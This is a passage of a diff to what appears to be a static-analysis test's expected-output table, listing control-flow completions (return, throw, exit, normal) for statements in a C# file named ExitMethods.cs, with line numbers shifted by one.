ExitMethods.cs:49:13:49:19 | return ...; | return | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:49:13:49:19 | return ...; | return | -| ExitMethods.cs:49:13:49:19 | return ...; | ExitMethods.cs:49:13:49:19 | return ...; | return | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | throw(Exception) | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:56:9:56:15 | return ...; | return | -| ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | throw(Exception) | -| ExitMethods.cs:55:9:55:23 | ...; | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | throw(Exception) | -| ExitMethods.cs:56:9:56:15 | return ...; | ExitMethods.cs:56:9:56:15 | return ...; | return | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | throw(Exception) | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:62:9:62:15 | return ...; | return | -| ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | throw(Exception) | -| ExitMethods.cs:61:9:61:23 | ...; | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | throw(Exception) | -| ExitMethods.cs:62:9:62:15 | return ...; | ExitMethods.cs:62:9:62:15 | return ...; | return | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:67:13:67:13 | access to parameter b | false | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:68:13:68:34 | throw ...; | throw(Exception) | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:67:13:67:13 | access to parameter b | false | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:68:13:68:34 | throw ...; | throw(Exception) | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:67:13:67:13 | access to parameter b | false | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:67:13:67:13 | access to parameter b | true | -| ExitMethods.cs:68:13:68:34 | throw ...; | ExitMethods.cs:68:13:68:34 | throw ...; | throw(Exception) | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:68:19:68:33 | object creation of type Exception | normal | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:74:13:74:34 | throw ...; | throw(Exception) | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:76:13:76:45 | throw ...; | throw(ArgumentException) | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:74:13:74:34 | throw ...; | throw(Exception) | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:76:13:76:45 | throw ...; | throw(ArgumentException) | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:73:13:73:13 | access to parameter b | false | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:73:13:73:13 | access to parameter b | true | -| ExitMethods.cs:74:13:74:34 | throw ...; | ExitMethods.cs:74:13:74:34 | throw ...; | throw(Exception) | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:19:74:33 | object creation of type Exception | normal | -| ExitMethods.cs:76:13:76:45 | throw ...; | ExitMethods.cs:76:13:76:45 | throw ...; | throw(ArgumentException) | -| ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | normal | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:41:76:43 | "b" | normal | -| ExitMethods.cs:80:5:82:5 | {...} | ExitMethods.cs:81:9:81:30 | throw ...; | throw(Exception) | -| ExitMethods.cs:81:9:81:30 | throw ...; | ExitMethods.cs:81:9:81:30 | throw ...; | throw(Exception) | -| ExitMethods.cs:81:15:81:29 | object creation of type Exception | ExitMethods.cs:81:15:81:29 | object creation of type Exception | normal | -| ExitMethods.cs:84:35:84:55 | throw ... | ExitMethods.cs:84:35:84:55 | throw ... | throw(Exception) | -| ExitMethods.cs:84:41:84:55 | object creation of type Exception | ExitMethods.cs:84:41:84:55 | object creation of type Exception | normal | -| ExitMethods.cs:87:5:89:5 | {...} | ExitMethods.cs:88:9:88:27 | call to method Exit | exit | -| ExitMethods.cs:88:9:88:27 | call to method Exit | ExitMethods.cs:88:9:88:27 | call to method Exit | exit | -| ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:88:9:88:27 | call to method Exit | exit | -| ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:26:88:26 | 0 | normal | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:18 | this access | normal | -| ExitMethods.cs:95:13:95:19 | ...; | ExitMethods.cs:95:13:95:18 | call to method Exit | exit | -| ExitMethods.cs:98:9:101:9 | {...} | ExitMethods.cs:100:13:100:40 | call to method WriteLine | normal | -| ExitMethods.cs:100:13:100:40 | call to method WriteLine | ExitMethods.cs:100:13:100:40 | call to method WriteLine | normal | -| ExitMethods.cs:100:13:100:41 | ...; | ExitMethods.cs:100:13:100:40 | call to method WriteLine | normal | -| ExitMethods.cs:100:38:100:39 | "" | ExitMethods.cs:100:38:100:39 | "" | normal | -| ExitMethods.cs:105:5:107:5 | {...} | ExitMethods.cs:106:9:106:47 | call to method Exit | exit | -| ExitMethods.cs:106:9:106:47 | call to method Exit | ExitMethods.cs:106:9:106:47 | call to method Exit | exit | -| ExitMethods.cs:106:9:106:48 | ...; | ExitMethods.cs:106:9:106:47 | call to method Exit | exit | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:111:9:111:77 | return ...; | return | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:111:41:111:76 | throw ... | throw(ArgumentException) | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:111:9:111:77 | return ...; | return | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:111:41:111:76 | throw ... | throw(ArgumentException) | -| ExitMethods.cs:111:16:111:20 | access to parameter input | ExitMethods.cs:111:16:111:20 | access to parameter input | normal | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:16:111:25 | ... != ... | false | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:16:111:25 | ... != ... | true | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:111:16:111:76 | ... ? ... : ... | normal | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:111:41:111:76 | throw ... | throw(ArgumentException) | -| ExitMethods.cs:111:25:111:25 | 0 | ExitMethods.cs:111:25:111:25 | 0 | normal | -| ExitMethods.cs:111:25:111:25 | (...) ... | ExitMethods.cs:111:25:111:25 | (...) ... | normal | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:29:111:29 | 1 | normal | -| ExitMethods.cs:111:29:111:29 | (...) ... | ExitMethods.cs:111:29:111:29 | (...) ... | normal | -| ExitMethods.cs:111:29:111:37 | ... / ... | ExitMethods.cs:111:29:111:37 | ... / ... | normal | -| ExitMethods.cs:111:33:111:37 | access to parameter input | ExitMethods.cs:111:33:111:37 | access to parameter input | normal | -| ExitMethods.cs:111:41:111:76 | throw ... | ExitMethods.cs:111:41:111:76 | throw ... | throw(ArgumentException) | -| ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | normal | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:111:69:111:75 | "input" | normal | -| ExitMethods.cs:115:5:117:5 | {...} | ExitMethods.cs:116:9:116:39 | return ...; | return | -| ExitMethods.cs:116:9:116:39 | return ...; | ExitMethods.cs:116:9:116:39 | return ...; | return | -| ExitMethods.cs:116:16:116:16 | access to parameter s | ExitMethods.cs:116:16:116:16 | access to parameter s | normal | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:16:116:30 | call to method Contains | false | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:16:116:30 | call to method Contains | true | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | normal | -| ExitMethods.cs:116:27:116:29 | - | ExitMethods.cs:116:27:116:29 | - | normal | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:116:34:116:34 | 0 | normal | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:116:38:116:38 | 1 | normal | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:121:9:121:28 | call to method IsTrue | throw(AssertFailedException) | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:122:13:122:17 | Int32 x = ... | normal | -| ExitMethods.cs:121:9:121:28 | call to method IsTrue | ExitMethods.cs:121:9:121:28 | call to method IsTrue | throw(AssertFailedException) | -| ExitMethods.cs:121:9:121:29 | ...; | ExitMethods.cs:121:9:121:28 | call to method IsTrue | throw(AssertFailedException) | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:121:23:121:27 | false | false | -| ExitMethods.cs:122:9:122:18 | ... ...; | ExitMethods.cs:122:13:122:17 | Int32 x = ... | normal | -| ExitMethods.cs:122:13:122:17 | Int32 x = ... | ExitMethods.cs:122:13:122:17 | Int32 x = ... | normal | -| ExitMethods.cs:122:17:122:17 | 0 | ExitMethods.cs:122:17:122:17 | 0 | normal | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | throw(AssertFailedException) | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:128:13:128:17 | Int32 x = ... | normal | -| ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | throw(AssertFailedException) | -| ExitMethods.cs:127:9:127:26 | this access | ExitMethods.cs:127:9:127:26 | this access | normal | -| ExitMethods.cs:127:9:127:27 | ...; | ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | throw(AssertFailedException) | -| ExitMethods.cs:128:9:128:18 | ... ...; | ExitMethods.cs:128:13:128:17 | Int32 x = ... | normal | -| ExitMethods.cs:128:13:128:17 | Int32 x = ... | ExitMethods.cs:128:13:128:17 | Int32 x = ... | normal | -| ExitMethods.cs:128:17:128:17 | 0 | ExitMethods.cs:128:17:128:17 | 0 | normal | -| ExitMethods.cs:131:33:131:49 | call to method IsFalse | ExitMethods.cs:131:33:131:49 | call to method IsFalse | normal | -| ExitMethods.cs:131:33:131:49 | call to method IsFalse | ExitMethods.cs:131:33:131:49 | call to method IsFalse | throw(AssertFailedException) | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:48:131:48 | access to parameter b | false | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:48:131:48 | access to parameter b | true | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:135:9:135:25 | call to method AssertFalse | throw(AssertFailedException) | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:136:13:136:17 | Int32 x = ... | normal | -| ExitMethods.cs:135:9:135:25 | call to method AssertFalse | ExitMethods.cs:135:9:135:25 | call to method AssertFalse | throw(AssertFailedException) | -| ExitMethods.cs:135:9:135:25 | this access | ExitMethods.cs:135:9:135:25 | this access | normal | -| ExitMethods.cs:135:9:135:26 | ...; | ExitMethods.cs:135:9:135:25 | call to method AssertFalse | throw(AssertFailedException) | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:135:21:135:24 | true | true | -| ExitMethods.cs:136:9:136:18 | ... ...; | ExitMethods.cs:136:13:136:17 | Int32 x = ... | normal | -| ExitMethods.cs:136:13:136:17 | Int32 x = ... | ExitMethods.cs:136:13:136:17 | Int32 x = ... | normal | -| ExitMethods.cs:136:17:136:17 | 0 | ExitMethods.cs:136:17:136:17 | 0 | normal | +| ExitMethods.cs:9:5:12:5 | {...} | ExitMethods.cs:11:9:11:15 | return ...; | return | +| ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | normal | +| ExitMethods.cs:10:9:10:25 | ...; | ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | normal | +| ExitMethods.cs:10:20:10:23 | true | ExitMethods.cs:10:20:10:23 | true | normal | +| ExitMethods.cs:11:9:11:15 | return ...; | ExitMethods.cs:11:9:11:15 | return ...; | return | +| ExitMethods.cs:15:5:18:5 | {...} | ExitMethods.cs:17:9:17:15 | return ...; | return | +| ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | normal | +| ExitMethods.cs:16:9:16:26 | ...; | ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | normal | +| ExitMethods.cs:16:20:16:24 | false | ExitMethods.cs:16:20:16:24 | false | normal | +| ExitMethods.cs:17:9:17:15 | return ...; | ExitMethods.cs:17:9:17:15 | return ...; | return | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | throw(ArgumentException) | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | throw(Exception) | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:23:9:23:15 | return ...; | return | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | throw(ArgumentException) | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | throw(Exception) | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | throw(ArgumentException) | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | throw(Exception) | +| ExitMethods.cs:22:21:22:24 | true | ExitMethods.cs:22:21:22:24 | true | normal | +| ExitMethods.cs:23:9:23:15 | return ...; | ExitMethods.cs:23:9:23:15 | return ...; | return | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:28:9:28:14 | call to method Exit | exit | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:29:9:29:15 | return ...; | return | +| ExitMethods.cs:28:9:28:14 | call to method Exit | ExitMethods.cs:28:9:28:14 | call to method Exit | exit | +| ExitMethods.cs:28:9:28:14 | this access | ExitMethods.cs:28:9:28:14 | this access | normal | +| ExitMethods.cs:28:9:28:15 | ...; | ExitMethods.cs:28:9:28:14 | call to method Exit | exit | +| ExitMethods.cs:29:9:29:15 | return ...; | ExitMethods.cs:29:9:29:15 | return ...; | return | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | exit | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:35:9:35:15 | return ...; | return | +| ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | exit | +| ExitMethods.cs:34:9:34:25 | this access | ExitMethods.cs:34:9:34:25 | this access | normal | +| ExitMethods.cs:34:9:34:26 | ...; | ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | exit | +| ExitMethods.cs:35:9:35:15 | return ...; | ExitMethods.cs:35:9:35:15 | return ...; | return | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:46:13:46:19 | return ...; | return | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:50:13:50:19 | return ...; | return | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:46:13:46:19 | return ...; | return | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:50:13:50:19 | return ...; | return | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | throw(ArgumentException) | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | throw(Exception) | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | throw(ArgumentException) | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | throw(Exception) | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | throw(ArgumentException) | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | throw(Exception) | +| ExitMethods.cs:42:25:42:29 | false | ExitMethods.cs:42:25:42:29 | false | normal | +| ExitMethods.cs:44:9:47:9 | catch (...) {...} | ExitMethods.cs:44:9:47:9 | catch (...) {...} | no-match | +| ExitMethods.cs:44:9:47:9 | catch (...) {...} | ExitMethods.cs:46:13:46:19 | return ...; | return | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:46:13:46:19 | return ...; | return | +| ExitMethods.cs:46:13:46:19 | return ...; | ExitMethods.cs:46:13:46:19 | return ...; | return | +| ExitMethods.cs:48:9:51:9 | catch (...) {...} | ExitMethods.cs:50:13:50:19 | return ...; | return | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:50:13:50:19 | return ...; | return | +| ExitMethods.cs:50:13:50:19 | return ...; | ExitMethods.cs:50:13:50:19 | return ...; | return | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | throw(Exception) | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:57:9:57:15 | return ...; | return | +| ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | throw(Exception) | +| ExitMethods.cs:56:9:56:23 | ...; | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | throw(Exception) | +| ExitMethods.cs:57:9:57:15 | return ...; | ExitMethods.cs:57:9:57:15 | return ...; | return | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | throw(Exception) | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:63:9:63:15 | return ...; | return | +| ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | throw(Exception) | +| ExitMethods.cs:62:9:62:23 | ...; | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | throw(Exception) | +| ExitMethods.cs:63:9:63:15 | return ...; | ExitMethods.cs:63:9:63:15 | return ...; | return | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:68:13:68:13 | access to parameter b | false | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:69:13:69:34 | throw ...; | throw(Exception) | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:68:13:68:13 | access to parameter b | false | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:69:13:69:34 | throw ...; | throw(Exception) | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:68:13:68:13 | access to parameter b | false | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:68:13:68:13 | access to parameter b | true | +| ExitMethods.cs:69:13:69:34 | throw ...; | ExitMethods.cs:69:13:69:34 | throw ...; | throw(Exception) | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:69:19:69:33 | object creation of type Exception | normal | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:75:13:75:34 | throw ...; | throw(Exception) | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:77:13:77:45 | throw ...; | throw(ArgumentException) | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:75:13:75:34 | throw ...; | throw(Exception) | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:77:13:77:45 | throw ...; | throw(ArgumentException) | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:74:13:74:13 | access to parameter b | false | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:74:13:74:13 | access to parameter b | true | +| ExitMethods.cs:75:13:75:34 | throw ...; | ExitMethods.cs:75:13:75:34 | throw ...; | throw(Exception) | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:19:75:33 | object creation of type Exception | normal | +| ExitMethods.cs:77:13:77:45 | throw ...; | ExitMethods.cs:77:13:77:45 | throw ...; | throw(ArgumentException) | +| ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | normal | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:41:77:43 | "b" | normal | +| ExitMethods.cs:81:5:83:5 | {...} | ExitMethods.cs:82:9:82:30 | throw ...; | throw(Exception) | +| ExitMethods.cs:82:9:82:30 | throw ...; | ExitMethods.cs:82:9:82:30 | throw ...; | throw(Exception) | +| ExitMethods.cs:82:15:82:29 | object creation of type Exception | ExitMethods.cs:82:15:82:29 | object creation of type Exception | normal | +| ExitMethods.cs:85:35:85:55 | throw ... | ExitMethods.cs:85:35:85:55 | throw ... | throw(Exception) | +| ExitMethods.cs:85:41:85:55 | object creation of type Exception | ExitMethods.cs:85:41:85:55 | object creation of type Exception | normal | +| ExitMethods.cs:88:5:90:5 | {...} | ExitMethods.cs:89:9:89:27 | call to method Exit | exit | +| ExitMethods.cs:89:9:89:27 | call to method Exit | ExitMethods.cs:89:9:89:27 | call to method Exit | exit | +| ExitMethods.cs:89:9:89:28 | ...; | ExitMethods.cs:89:9:89:27 | call to method Exit | exit | +| ExitMethods.cs:89:26:89:26 | 0 | ExitMethods.cs:89:26:89:26 | 0 | normal | +| ExitMethods.cs:93:5:103:5 | {...} | ExitMethods.cs:96:13:96:18 | call to method Exit | exit | +| ExitMethods.cs:94:9:102:9 | try {...} ... | ExitMethods.cs:96:13:96:18 | call to method Exit | exit | +| ExitMethods.cs:95:9:97:9 | {...} | ExitMethods.cs:96:13:96:18 | call to method Exit | exit | +| ExitMethods.cs:96:13:96:18 | call to method Exit | ExitMethods.cs:96:13:96:18 | call to method Exit | exit | +| ExitMethods.cs:96:13:96:18 | this access | ExitMethods.cs:96:13:96:18 | this access | normal | +| ExitMethods.cs:96:13:96:19 | ...; | ExitMethods.cs:96:13:96:18 | call to method Exit | exit | +| ExitMethods.cs:99:9:102:9 | {...} | ExitMethods.cs:101:13:101:40 | call to method WriteLine | normal | +| ExitMethods.cs:101:13:101:40 | call to method WriteLine | ExitMethods.cs:101:13:101:40 | call to method WriteLine | normal | +| ExitMethods.cs:101:13:101:41 | ...; | ExitMethods.cs:101:13:101:40 | call to method WriteLine | normal | +| ExitMethods.cs:101:38:101:39 | "" | ExitMethods.cs:101:38:101:39 | "" | normal | +| ExitMethods.cs:106:5:108:5 | {...} | ExitMethods.cs:107:9:107:47 | call to method Exit | exit | +| ExitMethods.cs:107:9:107:47 | call to method Exit | ExitMethods.cs:107:9:107:47 | call to method Exit | exit | +| ExitMethods.cs:107:9:107:48 | ...; | ExitMethods.cs:107:9:107:47 | call to method Exit | exit | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:112:9:112:77 | return ...; | return | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:112:41:112:76 | throw ... | throw(ArgumentException) | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:112:9:112:77 | return ...; | return | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:112:41:112:76 | throw ... | throw(ArgumentException) | +| ExitMethods.cs:112:16:112:20 | access to parameter input | ExitMethods.cs:112:16:112:20 | access to parameter input | normal | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:16:112:25 | ... != ... | false | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:16:112:25 | ... != ... | true | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:112:16:112:76 | ... ? ... : ... | normal | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:112:41:112:76 | throw ... | throw(ArgumentException) | +| ExitMethods.cs:112:25:112:25 | 0 | ExitMethods.cs:112:25:112:25 | 0 | normal | +| ExitMethods.cs:112:25:112:25 | (...) ... | ExitMethods.cs:112:25:112:25 | (...) ... | normal | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:29:112:29 | 1 | normal | +| ExitMethods.cs:112:29:112:29 | (...) ... | ExitMethods.cs:112:29:112:29 | (...) ... | normal | +| ExitMethods.cs:112:29:112:37 | ... / ... | ExitMethods.cs:112:29:112:37 | ... / ... | normal | +| ExitMethods.cs:112:33:112:37 | access to parameter input | ExitMethods.cs:112:33:112:37 | access to parameter input | normal | +| ExitMethods.cs:112:41:112:76 | throw ... | ExitMethods.cs:112:41:112:76 | throw ... | throw(ArgumentException) | +| ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | normal | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:112:69:112:75 | "input" | normal | +| ExitMethods.cs:116:5:118:5 | {...} | ExitMethods.cs:117:9:117:39 | return ...; | return | +| ExitMethods.cs:117:9:117:39 | return ...; | ExitMethods.cs:117:9:117:39 | return ...; | return | +| ExitMethods.cs:117:16:117:16 | access to parameter s | ExitMethods.cs:117:16:117:16 | access to parameter s | normal | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:16:117:30 | call to method Contains | false | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:16:117:30 | call to method Contains | true | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | normal | +| ExitMethods.cs:117:27:117:29 | - | ExitMethods.cs:117:27:117:29 | - | normal | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:117:34:117:34 | 0 | normal | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:117:38:117:38 | 1 | normal | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:122:9:122:28 | call to method IsTrue | throw(AssertFailedException) | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:123:13:123:17 | Int32 x = ... | normal | +| ExitMethods.cs:122:9:122:28 | call to method IsTrue | ExitMethods.cs:122:9:122:28 | call to method IsTrue | throw(AssertFailedException) | +| ExitMethods.cs:122:9:122:29 | ...; | ExitMethods.cs:122:9:122:28 | call to method IsTrue | throw(AssertFailedException) | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:122:23:122:27 | false | false | +| ExitMethods.cs:123:9:123:18 | ... ...; | ExitMethods.cs:123:13:123:17 | Int32 x = ... | normal | +| ExitMethods.cs:123:13:123:17 | Int32 x = ... | ExitMethods.cs:123:13:123:17 | Int32 x = ... | normal | +| ExitMethods.cs:123:17:123:17 | 0 | ExitMethods.cs:123:17:123:17 | 0 | normal | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | throw(AssertFailedException) | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:129:13:129:17 | Int32 x = ... | normal | +| ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | throw(AssertFailedException) | +| ExitMethods.cs:128:9:128:26 | this access | ExitMethods.cs:128:9:128:26 | this access | normal | +| ExitMethods.cs:128:9:128:27 | ...; | ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | throw(AssertFailedException) | +| ExitMethods.cs:129:9:129:18 | ... ...; | ExitMethods.cs:129:13:129:17 | Int32 x = ... | normal | +| ExitMethods.cs:129:13:129:17 | Int32 x = ... | ExitMethods.cs:129:13:129:17 | Int32 x = ... | normal | +| ExitMethods.cs:129:17:129:17 | 0 | ExitMethods.cs:129:17:129:17 | 0 | normal | +| ExitMethods.cs:132:33:132:49 | call to method IsFalse | ExitMethods.cs:132:33:132:49 | call to method IsFalse | normal | +| ExitMethods.cs:132:33:132:49 | call to method IsFalse | ExitMethods.cs:132:33:132:49 | call to method IsFalse | throw(AssertFailedException) | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:48:132:48 | access to parameter b | false | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:48:132:48 | access to parameter b | true | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:136:9:136:25 | call to method AssertFalse | throw(AssertFailedException) | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:137:13:137:17 | Int32 x = ... | normal | +| ExitMethods.cs:136:9:136:25 | call to method AssertFalse | ExitMethods.cs:136:9:136:25 | call to method AssertFalse | throw(AssertFailedException) | +| ExitMethods.cs:136:9:136:25 | this access | 